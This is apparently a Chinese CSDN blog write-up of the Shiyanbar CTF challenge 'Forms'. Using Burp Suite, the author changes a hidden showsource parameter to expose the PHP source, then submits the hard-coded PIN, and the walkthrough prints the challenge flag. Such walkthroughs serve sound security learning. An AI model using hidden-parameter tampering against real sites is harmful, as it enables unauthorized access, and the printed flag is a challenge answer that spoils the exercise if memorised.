




实验吧-Forms Writeup

原创

baynk  于 2019-08-18 01:12:43 发布  99  收藏 1

分类专栏: [# 实验吧 Writeup](#) 文章标签: [实验吧 CTF Forms](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/u014029795/article/details/99700285>

版权



让实验更简单! [实验吧 Writeup 专栏收录该内容](#)

21 篇文章 0 订阅

订阅专栏

真的没想到, 居然还有这么简单的题。。。

过程

- 链接: <http://ctf5.shiyanbar.com/10/main.php>
- 进入以后要输入一个PIN码, 随便输入了一个丢到Burpsuite中去。

Request	Response
Raw Params Headers Hex POST /10/main.php HTTP/1.1 Host: ctf5.shiyanbar.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh Accept-Encoding: gzip, deflate Referer: http://ctf5.shiyanbar.com/10/main.php Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 18 PIN=1&showsource=0	Raw Headers Hex HTML Render HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Sun, 18 Aug 2019 01:07:47 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.5.38 Content-Length: 294 <html> <head> <title>Forms</title> </head> <body> User with provided PIN not found. <form action="" method="post"> PIN: <input type="password" name="PIN" value=""> <input type="hidden" name="showsource" value=0> <button type="submit">Enter</button> </form> </body> </html>

- 看到有一个showsource=0的隐藏参数, 直接改成1, 再GO一次。

PIN=1&showsource=1	<pre> </head> <body> <pre> \$a = \$_POST["PIN"]; if (\$a == -1982774773616112831283716166172773716166727272616149001823847) { echo "Congratulations! The flag is \$flag"; } else { echo "User with provided PIN not found."; } </pre> User with provided PIN not found. <form action="" method="post"> PIN:
 <input type="password" name="PIN" value=""> <input type="hidden" name="showsource" value=0> <button type="submit">Enter</button> </form> </body> </html> </pre>
--------------------	---

- 根据提示将PIN改为正确的值后, 真的就出现了flag。。。不敢相信, 太简单了。。。

PIN=-1982774773616112831283716166172773716166727272616149001823847&showsource=1	<pre> </head> <body> <pre> \$a = \$_POST["PIN"]; if (\$a == -1982774773616112831283716166172773716166727272616149001823847) { echo "Congratulations! The flag is \$flag"; } else { echo "User with provided PIN not found."; } </pre> Congratulations! The flag is ctf{forms_are_easy} <form action="" method="post"> PIN:
 <input type="password" name="PIN" value=""> <input type="hidden" name="showsource" value=0> <button type="submit">Enter</button> </form> </body> </html> </pre>
---	--